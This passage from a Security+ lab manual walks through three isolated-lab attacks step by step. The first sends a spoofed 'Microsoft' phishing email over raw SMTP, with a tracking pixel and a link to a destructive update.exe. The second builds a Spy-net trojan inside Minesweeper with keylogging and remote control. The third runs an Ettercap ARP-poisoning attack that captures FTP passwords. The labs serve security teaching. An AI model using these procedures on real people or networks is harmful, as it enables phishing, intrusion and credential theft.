If the Internet Connection Wizard screen labeled Your Name does not appear when you start
Outlook Express, click the Set Up a Mail Account link in the middle of the Outlook Express
window.
On the Your Name screen, type 2. labuser in the Display Name box and click Next.
On the Internet E-Mail Address screen, type 3. [email protected] in the E-Mail Address box and click Next.
On the E-Mail Server Names screen:4.
Make sure that the incoming mail server is set to pop3.a.
In the Incoming Mail box, type b. linuxserv.security.local.
In the Outgoing Mail box, type c. linuxserv.security.local.
Click Next.d.
On the Internet Mail Logon screen:5.
Make sure that the Username box has the name labuser. If not, type a. labuser.
In the Password box, type b. password.
Ensure that the check box Remember Password is selected.c.
Click Next.d.
ch05.indd 134 11/17/10 10:26:30 AM
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows 135
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
On the Congratulations screen, click Finish.6.
Minimize Outlook Express.7.
Step 3: Send an e-mail from the command line.
You will now craft an e-mail in which you will do several things. First, you will spoof the sending
address so that it looks as if it is coming from Microsoft. This will simulate an attacker pretending to be
the trusted software publisher in an attempt to get the recipient to perform actions. You will embed in
the e-mail a link that says it points to an update but actually points to malicious software. Lastly, you
will put an image reference so that when the e-mail is opened, it will get the image from a server. That
image being downloaded from the server will register in the logs and alert you that the e-mail was at
least opened.
Since you are sending this e-mail from the command line, where a single mistake may cause the
entire e-mail to not work properly, you will first type the e-mail into a Notepad document. After that,
you will connect to the SMTP server on the Linux machine and copy and paste the e-mail there.
Choose Start | Run.1.
In the Open field, type 2. notepad and press enter.
Type the following text into the Notepad file, exactly as you see it here:3.
From: [email protected]
Subject: Important Update
MIME-Version: 1.0
Content-type: text/html; charset=us-ascii
<html>
<head><title>Important Update</title></head>
<body bgcolor="#FF0000">
<h1>Important Update</h1>
You need the Important Update
<img src="http://192.168.100.102/mmc.gif?victim=a" height="0" width="0" />
<a href="http://192.168.100.102/update.exe">HERE!</a>
</body>
</html>
.
➜ Note
Be sure to end the e-mail with the single period on a line by itself.
Now you will connect to the SMTP server.
Choose Start | Run, type 1. cmd in the Open field, and press enter.
At the command prompt, type 2. telnet and press enter.
ch05.indd 135 11/17/10 10:26:30 AM
Chapter 5: Attacks Against Applications136
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
➜ Note
For the lab to work appropriately, it is important that you do not make any errors while typing
the commands and text in Telnet.
At the telnet prompt, type 3. set localecho and press enter.
At the telnet prompt, type 4. open 192.168.100.202 25 and press enter.
At the prompt, type 5. helo localhost and press enter.
At the prompt, type 6. mail from: [email protected] and press enter.
At the prompt, type 7. rcpt to: [email protected] and press enter.
At the prompt, type 8. data and press enter.
Switch to the Notepad file, and select and copy all of the text that you previously typed there.9.
Right-click the Telnet window, choose Paste, and press 10. enter.
Before you continue, take a look at a few of the lines you entered.
From: [email protected]
Notice that you specify that the e-mail is coming from [email protected]. You have
spoofed the address. This is done to get the recipient to believe that the e-mail is coming from
Microsoft. A person would not expect that anything coming from Microsoft would harm their
system intentionally.
Content-type: text/html; charset=us-ascii
This line tells the e-mail client that the e-mail is encoded in HTML and to view it like a web
page.
<img src="http://192.168.100.102/mmc.gif?victim=a" height="0" width="0" />
This line references an image on a server you compromised. The file will be displayed with a
height of 0 and a width of 0. As a result, it will not display. So, you might wonder, why have
it there at all? As soon as the e-mail is opened, this image will be requested by the e-mail.
As such, it will create an entry in the web log. That entry is a sign to you that the recipient
opened the e-mail.
<a href="http://192.168.100.102/update.exe">here!</a>
This line displays as the hyperlink here!. The reference is to a file called update.exe that is
on a server you compromised. You could have uploaded it to this server using FTP. The file
update could be any malicious software, just given a name that will not alarm a person who
is downloading it. Once the link is clicked, it will generate an entry in the web log.
Next, you’ll exit out of the command prompt and see what happens with the e-mail.
ch05.indd 136 11/17/10 10:26:30 AM
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows 137
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
At the command prompt, type 11. quit and press enter.
When prompted to press any key to continue, press 12. enter.
At the command prompt, type 13. quit and press enter.
At the command line, type 14. exit and press enter.
Step 4: Retrieve the e-mail in Outlook Express.
Maximize Outlook Express.1.
In Outlook Express, click Send/Receive.2.
Click the new e-mail.3.
In the e-mail, click the Update link.4.
In the File Download dialog box, click Open.5.
You will get a Confirm Folder Delete dialog box asking if you wish to delete the contents of 6. the C:\Windows folder. See Figure 5-4.
In the Confirm Folder Delete dialog box, click No.7.
What happens next? See Figure 5-5.a.
Are the files gone?b.
Figure 5-4 The update will delete the con-
tents of the Windows directory.
Figure 5-5 The deletion happening even
after clicking No
ch05.indd 137 11/17/10 10:26:31 AM
Chapter 5: Attacks Against Applications138
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Step 5: Check the logs on the server.
You will next check the logs on the server to see first that the e-mail was opened and then that the file
was downloaded.
On the Windows 2003 Server machine:
Right-click Start and select Explore.1.
Navigate to 2. c:\windows\system32\LogFiles\W3SVC1\.
Choose View | Details.3.
Open the log file by double-clicking the file created on the current date of your machine.4.
Look for the entry that says:5.
… 192.168.100.101 - 192.168.100.102 80 GET /mmc.gif victim=a …
This alerts you that the mail recipient has opened the e-mail.
Look for the entry that says:6.
… 192.168.100.101 - 192.168.100.102 80 GET /update.exe – 80 …
This alerts you that the mail recipient has clicked the link to download the file.
Step 6: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shutdown.1.
At the Shutdown Windows screen, click the drop-down arrow and select Log Off Administrator.2.
Click OK.3.
Lab 5.3 Analysis Questions The following questions apply to the lab in this section:
E-mail attacks that spoof addresses and attempt to get the recipient to run malicious code are 1. attacks that pose what kind of threat, to which characteristic of data, and in what state?
Your boss does not understand how an e-mail can be used to “wipe out a computer.” Explain 2. to your boss in simple terms how an e-mail might be able to do that.
ch05.indd 138 11/17/10 10:26:31 AM
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows 139
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
When looking at an e-mail in plaintext, one of the lines is the following: 3. <img src="http://www.somehacksite.hak/tag.gif?victim=a" height="0" width="0" />
What do you think this line is for?
When looking at an e-mail in plaintext, one of the lines is the following: 4. <a href="http://www.somehacksite.hak/patch.exe">Important Antivirus patch</a>
What do you think this line is for?
You get a call from a user in your company who claims they have received an e-mail from 5. [email protected]. They want to know what they should do with it. You do
not have an e-mail account named administrator. What do you tell them?
A worker calls and states that they ran the antivirus update you e-mailed to them, but that 6. it made their machine reset (bounce). Since you did not send an update to them via e-mail,
what do you suspect has happened?
Lab 5.3 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
payload
SMTP
social engineering
spoofing
vector
1. Sending an e-mail from one address but making it seem as if it is coming from another is called ________________.
2. When an attacker convinces a computer user to do something that they normally would not do, it is called ___________________.
3. When e-mail is used to deliver a malicious payload, it is referred to as a(n) ________________.
4. The protocol exploited when spoofing e-mail is _________________________.
ch05.indd 139 11/17/10 10:26:31 AM
Chapter 5: Attacks Against Applications140
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Follow-Up Labs Lab 6.1: Trojan Attacks • This lab will show what trojan software is and how it might be deployed.
Lab 7.2: Using Antivirus Applications • When learning to harden a system, installing antivirus software is essential.
Lab 8.1: Using GPG to Encrypt and Sign E-Mail • E-mail gets sent in the clear. This lab will show you how to send e-mail encrypted.
Suggested Experiment Perform the same lab steps again, but this time run Wireshark and capture the mail traffic. Take a look
at the headers and other information included in this e-mail.
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 16
SMTP•
RFC 821: Simple Mail Transfer Protocol • http://www.faqs.org/rfcs/rfc821.html
ch05.indd 140 11/17/10 10:26:31 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6 / Blind Folio 141
More Attacks: Trojan Attacks, MITM, Steganography
Labs Lab 6.1 Trojan Attacks•
Lab 6.1w Using the Spy-net Trojan
Lab 6.1 Analysis Questions
Lab 6.1 Key Terms Quiz
Lab 6.2 Man-in-the-Middle Attack•
Lab 6.2m Man-in-the-Middle Attack
Lab 6.2 Analysis Questions
Lab 6.2 Key Terms Quiz
Lab 6.3 Steganography•
Lab 6.3w Steganography in Windows
Lab 6.3 Analysis Questions
Lab 6.3 Key Terms Quiz
Chapter 6
ch06.indd 141 11/17/10 11:02:33 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography142
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Continuing the examination of vulnerabilities from the last chapter, this chapter delves into items associated with sniffing network traffic,
intercepting keystrokes, and cracking passwords. Additionally, ARP
poisoning will be examined.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book's
companion online learning center at www.securityplusolc.com.
Lab 6.1: Trojan Attacks Trojans are a common way that attackers attempt to exploit a computer. There are many different types
of Trojans with different degrees of functionality. The infamous Back Orifice is a Microsoft Windows–
based Trojan that allows complete remote administrative control over a client machine. NetBus and
SubSeven were also two popular Trojans used to compromise target systems.
NetBus consists of two files—a server and a client. The server file is the program that gets deployed
to the target computer. It listens for connections from a client and then executes the commands the client
sends. Once it is installed, complete compromise of the data can take place. Keystrokes and screen captures
can compromise the confidentiality of the data. An attacker could also create, modify, or delete files.
SubSeven is another Trojan that was a favorite tool of intruders targeting Windows machines. In
July 2003, an e-mail was sent out that appeared to be from Symantec regarding a virus update. The
update was Trojaned with SubSeven. Today, two popular Trojans are Spy-net, which is used in the first
lab exercise, and Poison Ivy.
Most Trojan software has three main components:
Server editor• The component that is used to modify the Trojan that will be deployed. You can configure the look of the icon, the method for “phoning home,” and even the type of fake
error message you may want displayed when the file is run.
Server• The actual Trojan that will be run on the victim’s machine. The server can be renamed to look like a patch or update. The server editor can combine the server file with
another program that a user is likely to run, such as a game or utility. Once the Trojan file is
created, it is deployed by various means, such as posting it to a web site, sending an e-mail
with a link to it, or sending it as an attachment to an e-mail. The server will normally go into
a listening state and then allow the attacker to have remote access using the client software.
ch06.indd 142 11/17/10 11:02:33 AM
Lab 6.1w: Using the Spy-net Trojan 143
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Client• The program that is used to connect to and control the server. Once the server is deployed, it will “phone home” and make the connection to the client. With this remote
access, the client will then be able to manipulate the computer on which the server resides,
as you will see in the following lab exercise.
Learning Objectives After completing this lab, you will be able to
Deploy the Spy-net server.•
Configure the Spy-net server.•
Use the Spy-net client to manipulate and exploit the remote computer.•
S 20 minutes
Lab 6.1w: Using the Spy-net Trojan In this lab, you will configure and run the Spy-net server on the target computer and then test the
different capabilities of the Spy-net Trojan.
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
In addition, you will need
Spy-net•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server machines.
Step 2: Install Spy-net on the Windows XP Professional PC.
Step 3: Configure the server and Trojan file.
Step 4: Deploy and run the Trojan.
Step 5: Log off from the Windows XP Professional and Windows 2003 Server PCs.
ch06.indd 143 11/17/10 11:02:34 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography144
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Install Spy-net on the Windows XP Professional PC.
On the desktop, open the Tools folder and then the Spy-net folder.1.
Double-click Spy-net.exe.2.
Spy-net starts up in Portuguese by default. You can change the language in the Options menu.
Click OK.3.
Click the Opcoes button in the lower-left corner.4.
Click the Idioma radio button, and then select English.ini and click Salvar.5.
The settings file will be updated and you will not have to change this setting again when you
start the program.
You will now get a copy of a file to infect with a Trojan.
Choose Start | Run.6.
In the Open field of the Run dialog box, type 7. C:\Windows\system32\ and click OK.
Scroll down to the Winmine.exe file. Right-click and choose Copy.8.
Right-click in the Tools folder and click Paste.9.
Step 3: Configure the server and Trojan file.
In the Spy-net window, click New.1.
Make sure the Basic Options radio button on the left is selected.2.
Type the IP address of the attacking machine (the one you are currently on, a. 192.168.100.101) and click the plus sign.
What is the Identification?b.
ch06.indd 144 11/17/10 11:02:34 AM
Lab 6.1w: Using the Spy-net Trojan 145
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
What is the Password for Connection?c.
What is the Port Connection number?d.
Click the Installation Server radio button on the left, and check the Install the Server check box.3.
Click the Add File radio button on the left.4.
Click the … button to the right of the File text box.a.
Select the Winmine.exe file.b.
This is the program that will be infected with the Trojan.
Click the Add button.5.
Check the check box next to the name of the file selected. See Figure 6-1.6.
Click the Display Messages radio button on the left.7.
Check the Display Message When Running the Server check box.a.
Select the Information radio button.b.
Select the OK radio button.c.
For the text in the top box, type d. The New Minesweeper. This will appear in the title bar of the message window.
Figure 6-1 The Spy-net interface
ch06.indd 145 11/17/10 11:02:34 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography146
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Below that, type e. Thanks for testing the new Minesweeper! Enjoy it! We know we will!.
Click the Test button.f.
Note what the user should see displayed when this version of Minesweeper is run.
Click the Create Server radio button on the left.8.
Note that in this section you can save the server with different filenames, different a. extensions, and different icons. There are also plugins that can be included for added
functionality, although that would increase the size of the resulting file, making it
potentially easier to detect.
Click the Create Server button.b.
In the Confirm dialog box, click No, to not create a settings file. The settings file could be c. used to create a Trojan more rapidly with a default configuration.
In the information screen, click OK.d.
To close the Create New Server window, click the red × in the upper-right corner.e.
In the Tools folder, open the Spy-net folder and rename Spy-net-server to f. winmine-2.
Step 4: Deploy and run the Trojan.
Choose Start | Run.1.
In the Open field, type 2. \\192.168.100.102 and press enter.
When prompted for credentials:3.
For User ID, type a. administrator and press enter.
For Password, type b. adminpass and press enter.
Open the Shared Folder.4.
Copy the winmine-2.exe file to the Shared Folder.5.
For this lab exercise, you are simply copying the file to a Shared Folder to demonstrate how
it works.
What are some other ways that this file could be deployed?a.
What sorts of social engineering methods could be used to trick someone into running b. a Trojaned file?
You will now go to the server and run the Trojaned file.
On the Windows 2003 Server machine, open the Shared Folder.6.
Double-click the winmine-2 file.7.
In the information dialog box, click OK.8.
ch06.indd 146 11/17/10 11:02:35 AM
Lab 6.1w: Using the Spy-net Trojan 147
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Play a round of Minesweeper if you like. Note that the game works just as usual.9.
Go back to the Windows XP machine.10.
Notice that the Spy-net program indicates that a connection is established.
Right-click the name of the victim machine and look at the list of options you have to work 11. with. See Figure 6-2.
You will now experiment with a few of the options.
Click the File Manager menu item. Click the drop-down menu in the upper-left corner.12.
Select C:\ Local Disk.13.
Notice that you are in the root of the C: drive. You can navigate to anywhere in the drive.
Right-click any of the files in the Root directory and look at the context menu that comes up.14.
Could you use this program to upload other infected files? How?a.
Could you use this program to run other programs on the server? How?b.
Figure 6-2 Spy-net
Trojan options
ch06.indd 147 11/17/10 11:02:35 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography148
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Close the File Manager.15.
Right-click the name of the victim machine to bring up the context menu again.16.
Click the Capture Desktop menu option.17.
In the Capture Desktop window, click the Play button.18.
Note that you also have the option to capture the webcam or microphone.
Close the Capture Desktop window, and bring up the context menu again.19.
Click the Keylogger menu item, and check the Enable Keylogger check box.20.
On the Windows 2003 Server machine:
Choose Start | Notepad.21.
In Notepad, type a few lines of whatever you like.22.
On the Windows XP Professional machine:
In the Keylogger window, click Download Log.23.
Note the information that was captured. What kinds of information could this be used to
capture?
Close the Keylogger window.24.
Close the Spy-Net program.25.
Step 5: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shutdown.1.
Select Log Off Administrator.2.
Click OK.3.
✖ Warning
If you are using virtual machines, it is important that you return the virtual machines to a
previous snapshot to be sure that the trojan is removed.
ch06.indd 148 11/17/10 11:02:35 AM
Lab 6.1w: Using the Spy-net Trojan 149
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Lab 6.1 Analysis Questions The following questions apply to the lab in this section:
Deployed Trojans such as ones created by Spy-net are attacks that pose what kind of threat, to 1. which characteristic of data, and in what state?
What port does the Spy-net server listen on?2.
What are the methods with which Spy-net can be deployed?3.
What symptoms on a computer would lead you to believe that the computer has been infected 4. with a Trojan?
Take a look at the Spy-net program again. Look at the icons and the error messages and 5. explain two other ways these functions could be used to trick a person into running a
Trojaned file.
Lab 6.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
Back Orifice
NetBus
remote access
Spy-net
SubSeven
Trojan
1. A __________ is a program that appears to be one thing, when in fact it is something else, usually malicious.
2. A Trojan program typically opens a back door to allow ________________ by an unauthorized user.
3. ______________ and _______________ are examples of Trojan programs.
ch06.indd 149 11/17/10 11:02:35 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography150
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Follow-Up Labs Lab 7.2:• Using Antivirus Applications Learn to install software that will detect and remove trojans and other malicious code.
Lab 9.2:• Intrusion Detection Systems This lab will show you how to set up an IDS to detect malicious code activity.
Suggested Experiments Try other Trojans such as Poison Ivy and SubSeven. Compare the functionality and ease of use 1. between them.
Try deploying the Trojaned file on the virtual machines in other ways than using a network 2. share.
The deployment of the Trojan server program required the action of the user on the target 3. machine to execute the code. Try to get the server to run without any action required by the
user. Hint: You may be able to do it with Metasploit and meterpreter.
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 15
Spy-net• www.hackhound.org
Lab 6.2: Man-in-the-Middle Attack As discussed in earlier labs, in order for two computers to communicate on a local area network, their
MAC addresses are used. When one computer wants to send data to another computer, it looks for
the MAC address of the destination computer in its ARP cache. If the address is not there, it sends
a broadcast to retrieve it. This method of getting the address relies on trusting that only the correct
computer will respond and that it will respond with the correct MAC address.
ARP is a stateless protocol. As such, it does not keep track of requests and replies. Any computer can
send a reply without necessarily having received a request, which results in the recipient computers
updating their ARP cache. An attacking computer can send out replies that manipulate the target
computer’s ARP cache. This is called ARP poisoning.
As a result of ARP poisoning, the attacking computer can receive the data that flows from that
computer and then forward the traffic on to its intended destination. This can allow the attacking
computer to intercept, interrupt, or modify the traffic as it desires. This is called a man-in-the-middle
attack (commonly abbreviated MITM attack). An MITM attack can very easily be used to intercept
passwords. It can even successfully capture data in SSH or SSL streams.
Ettercap is a freely available program that can be used to exploit the weakness of the ARP protocol.
While it can be used by attackers to launch MITM attacks, it can also be used to monitor the network
and detect if there are poisoners on the network.
ch06.indd 150 11/17/10 11:02:36 AM
Lab 6.2m: Man-in-the-Middle Attack 151
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Ettercap gets its name from a beast in Advanced Dungeons & Dragons known for its feeble intelligence,
strong poison, and ability to set dangerous traps. Certainly Ettercap is easy to use; it poisons the ARP
cache and can trap passwords and other session data.
Learning Objectives At the end of this lab, you’ll be able to
Define ARP poisoning and man-in-the-middle attacks.•
Explain how Ettercap can be used to execute an MITM attack.•
Describe the attack signature of an MITM attack.•
S 30 minutes
Lab 6.2m: Man-in-the-Middle Attack In this lab, you will use the Ettercap program to execute an MITM attack and then look at the signatures
of such an attack.
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
BackTrack•
In addition, you will need
Ettercap•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
Step 2: Document the IP and MAC addresses of the three PCs.
Step 3: Start Wireshark and run Ettercap on the BackTrack PC.
Step 4: Capture an FTP session.
Step 5: View the Ettercap output and analyze the Wireshark capture.
Step 6: Log off from all PCs.
ch06.indd 151 11/17/10 11:02:36 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography152
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Lab Steps
Step 1: Log on to the Windows XP Professional, Windows 2003 Server, and BackTrack PCs.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Document the IP and MAC addresses of the three PCs.
On the Windows XP Professional PC:
Choose Start | Run.1.
In the Open field, type 2. cmd and click OK.
Type 3. ipconfig /all and press enter.
Note what your IP address and MAC address are in the table at the end of this step.4.
Close the command prompt.5.
On the Windows 2003 Server PC:
Choose Start | Run.1.
In the Open field, type 2. cmd and click OK.
Type 3. ipconfig /all and press enter.
Note what your IP address and MAC address are in the table at the end of this step.4.
Close the command prompt.5.
On the BackTrack PC:
On the command line, type 1. ifconfig and press enter.
ch06.indd 152 11/17/10 11:02:36 AM
Lab 6.2m: Man-in-the-Middle Attack 153
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Note what your IP address and MAC address are in the table at the end of this step.2.
Computer IP Address MAC Address
Windows XP
Windows 2003 Server
BackTrack
Step 3: Start Wireshark and run Ettercap on the BackTrack PC.
On the command line, type 1. startx and press enter.
Choose K Menu | Internet | Wireshark.2.
In the Warning dialog box, click OK.3.
The message warns about running Wireshark as the Root user.
On the Wireshark menu bar, choose Capture | Interfaces and, next to eth0, click Start.4.
Click the Konsole icon in the taskbar.5.
On the command line, type 6. ettercap --help and press enter.
What switch would you use to start a man-in-the-middle attack?a.
What switch would you use to start Ettercap in the GTK+ GUI mode?b.
What switch would you use to run to prevent the initial ARP scan?c.
Type 7. ettercap –G and press enter.
On the Ettercap menu bar, choose Sniff | Unified Sniffing.8.
In the Ettercap input dialog box, make sure network interface eth0 is selected and click OK.9.
Choose Hosts | Scan for Hosts.10.
This will start an ARP scan to detect what machines are up on the subnetwork. It will add
those machines to a host list.
Choose Hosts | Hosts List.11.
What IP addresses and MAC addresses are listed?
Select the Windows 2003 Server IP address (192.168.100.102), and click Add to Target 1.12.
Select the Windows XP IP address (192.168.100.101), and click Add to Target 2.13.
You will want to capture all traffic between the Windows XP PC and the Windows 2003 Server.
On the Ettercap menu bar, choose Mitm | Arp Poisoning.14.
In the MITM Attack dialog box, check Sniff Remote Connections and click OK.15.
On the menu bar, choose Start | Start Sniffing.16.
ch06.indd 153 11/17/10 11:02:37 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography154
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Step 4: Capture an FTP session.
On the Windows XP PC:
Choose Start | Run.1.
In the Open field, type 2. cmd and click OK.
At the command line, type 3. ftp 192.168.100.102 and press enter.
At User (192.168.100.102:none), type 4. labuser and press enter.
At the password prompt, type 5. password and press enter.
At the ftp prompt, type 6. dir and press enter.
At the ftp prompt, type 7. bye and press enter.
Leave the command prompt open.8.
On the BackTrack PC:
In the Ettercap window, in the bottom pane of the window, notice the captured FTP session 9. with user ID and password. See Figure 6-3.
On the Windows 2003 Server PC:
Choose Start | Run.10.
In the Open field, type 11. cmd and click OK.
Figure 6-3 The captured FTP session in Ettercap
ch06.indd 154 11/17/10 11:02:37 AM
Lab 6.2m: Man-in-the-Middle Attack 155
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
On the command line, type 12. arp –a and press enter.
What entries are listed?a.
Are the entries correct? If not, what is wrong?b.
On the Windows XP PC:
On the command line, type 13. arp –a and press enter.
What is the entry listed?a.
Is the entry correct? If not, what is wrong?b.
Step 5: View the Ettercap output and analyze the Wireshark capture.
On the BackTrack PC:
On the Ettercap menu bar, choose Start | Stop Sniffing.1.
On the Ettercap menu bar, choose Mitm | Stop Mitm Attacks.2.
On the Wireshark menu bar, choose Capture | Stop.3.
In the Wireshark Filter text box at the top, type 4. arp and press enter.
The first part of the capture you may recognize as a scan of the network to find the hosts that
are available. This has a similar signature to Nmap’s scan of the network.
In the Wireshark packet list section, scroll down to the end of the scan of the network. It will 5. be after the last broadcast.
The next packets may be DNS queries made by the attacking PC to get further information on
the victims.
Scroll down several packets more. Refer to the MAC addresses you recorded earlier and note the 6. packets with a source of Vmware_xx:xx:xx (BackTrack) and a destination of either Vmware_
fe:ff:ff (Windows Server) or Vmware_xx:xx:xx (Windows XP). The client is simply announcing
its own MAC address to the Windows XP and 2003 Server computers. This is ARP poisoning.
➜ Note
Your MAC addresses will be different.
Source Destination Proto Info
Vmware_fe:ff:ff Vmware_e2:18:88 ARP 192.168.100.102 is at
00:03:ff:fe:ff:ff
Vmware_fe:ff:ff Vmware_e1:18:88 ARP 192.168.100.101 is at
00:03:ff:fe:ff:ff
ch06.indd 155 11/17/10 11:02:37 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography156
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
So at this point, both computers being targeted have the IP address of the other, mapped to
the MAC address of the attacking computer. That is why when you looked at the ARP cache
of each of the victim computers, it had the MAC address of the attacking computer instead of
the correct one.
In the Filter text box, type 7. tcp.port==21 and press enter. (Note that there are no spaces in the command.)
Look at the packet listing. You should notice that there are duplicate listings of every packet 8. captured. They may be labeled in the Info section of the packet summary as [TCP Out-Of-Order].
Select the first packet. Note the Source and Destination MAC addresses in the tree view section.9.
Select the second duplicate packet. Note the Source and Destination MAC addresses in the tree 10. view section.
The destination MAC address in the first of the duplicate packets belongs to the BackTrack
PC that is initiating the attack. The second of the duplicate packets shows that the source
MAC address belongs to the BackTrack PC. You will notice that for all the duplicate packets,
the attacking PC is the destination in the first and the source in the second. It is receiving
packets and then passing them on to the intended destination. This effectively puts the
BackTrack PC in the middle of the traffic. This is a man-in-the-middle attack.
In the Wireshark window, choose File | Quit.11.
In the Save Capture File Before Program Quit? dialog box, click Continue Without Saving.12.
Step 6: Log off from all PCs.
To log off from the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
To log off from the Windows 2003 Server PC:
Choose Start | Shutdown.1.
Select Log Off Administrator.2.
Click OK.3.
To log off from the BackTrack PC:
Choose K Menu | Log Out | Log Out.1.
At the command line, type 2. logout.
ch06.indd 156 11/17/10 11:02:38 AM
Lab 6.2m: Man-in-the-Middle Attack 157
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Lab 6.2 Analysis Questions The following questions apply to the lab in this section:
A man-in-the-middle attack poses what kind of threat, to which characteristic of data, and in 1. what state?
If you suspect that you are the victim of a man-in-the-middle attack, what steps can you take 2. to determine if you are?
What steps would you take to use Ettercap to execute a man-in-the-middle attack?3.
Use the following captured data to answer the following questions:4.
200.200.200.21 200.200.200.11 ARP 200.200.200.22 is at 00:03:ff:fe:ff:ff
200.200.200.21 200.200.200.22 ARP 200.200.200.11 is at 00:03:ff:fe:ff:ff
What type of attack does the data indicate is taking place? __________________________a.
What is the IP address of the attacking computer? ________________________________b.
What are the IP addresses of the target computers? _______________________________c.
Lab 6.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
ARP poisoning
Ettercap
man-in-the-middle attack
Wireshark
1. When one computer manipulates the ARP cache of another, that is called _______________.
2. When a computer intercepts and passes on the traffic between two other computers, that is called a(n) _____________________.
Follow-Up Lab Lab 9.2: Intrusion Detection Systems • Learn to use an IDS to detect suspicious activity on the network such as Man-in-the-Middle attacks.
ch06.indd 157 11/17/10 11:02:38 AM
Chapter 6: More Attacks: Trojan Attacks, MITM, Steganography158
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 6
Suggested Experiments Run Ettercap and attempt to capture SSH traffic. Try capturing both SSHv1 and SSHv2 traffic.1.
Run Ettercap on both the BackTrack and Metasploitable PCs. Use one to detect the presence of 2. the other.
Set up the Metasploitable PC as a router and use Ettercap to view all the traffic that passes 3. from computers on both networks.
References ARP•
www.faqs.org/rfcs/rfc826.html•
www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/arp.mspx•
Ettercap• http://sourceforge.net/projects/ettercap/
